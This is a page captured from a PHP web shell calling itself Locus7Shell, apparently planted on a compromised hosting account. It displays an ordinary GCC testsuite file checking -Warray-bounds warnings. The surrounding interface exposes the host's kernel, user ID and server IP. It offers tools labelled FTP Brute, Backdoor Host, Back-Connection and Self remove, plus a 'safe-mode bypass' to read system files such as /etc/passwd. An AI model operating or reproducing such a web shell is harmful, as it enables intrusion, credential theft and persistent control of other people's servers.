Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/warn/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Warray-bounds-22.C (1.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR middle-end/99502 - missing -Warray-bounds on partial out of bounds
   access in C++
   { dg-do compile }
   { dg-options "-O2 -Wall" } */

typedef __INT8_TYPE__  int8_t;
typedef __INT16_TYPE__ int16_t;
typedef __INT32_TYPE__ int32_t;

struct POD32
{
  int32_t i32;
};

int8_t a16[2];
int8_t apod32[sizeof (POD32)];

void nowarn_pod32_assign ()
{
  POD32 *p = (POD32*)apod32;
  *p = POD32 ();
}

void nowarn_pod32_assign_member ()
{
  POD32 *p = (POD32*)apod32;
  p->i32 = __LINE__;
}


void warn_pod32_assign ()
{
  POD32 *p = (POD32*)a16;
  *p = POD32 ();              // { dg-warning "-Warray-bounds" }
}

void warn_pod32_assign_member ()
{
  POD32 *p = (POD32*)a16;
  p->i32 = __LINE__;          // { dg-warning "-Warray-bounds" }
}


struct BV32                   // { dg-warning "-Warray-bounds" "due to pr99525" }
{
  int32_t i32;

  virtual ~BV32 ();
};

int8_t abv32[sizeof (BV32)];

void nowarn_bv32_assign ()
{
  BV32 *p = (BV32*)abv32;
  *p = BV32 ();
}

void nowarn_bv32_assign_member ()
{
  BV32 *p = (BV32*)abv32;
  p->i32 = __LINE__;
}

void warn_bv32_assign ()
{
  BV32 *p = (BV32*)a16;
  *p = BV32 ();                // { dg-warning "-Warray-bounds" "pr99525" { xfail *-*-* } }
}

void warn_bv32_assign_member ()
{
  BV32 *p = (BV32*)a16;
  p->i32 = __LINE__;          // { dg-warning "-Warray-bounds" }
}


struct DV32: virtual BV32 { };

int8_t adv32[sizeof (DV32)];
int8_t adv32_m1[sizeof adv32 - 1];

void nowarn_dv32_assign ()
{
  DV32 *p = (DV32*)adv32;
  *p = DV32 ();
}

void nowarn_dv32_assign_member ()
{
  DV32 *p = (DV32*)adv32;
  p->i32 = __LINE__;
}

void warn_dv32_assign ()
{
  DV32 *p = (DV32*)adv32_m1;
  *p = DV32 ();                // { dg-warning "-Warray-bounds" "pr?????" { xfail *-*-* } }
}

void warn_dv32_assign_member ()
{
  DV32 *p = (DV32*)adv32_m1;
  p->i32 = __LINE__;          // { dg-warning "-Warray-bounds" "pr?????" { xfail *-*-* } }
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0066 ]--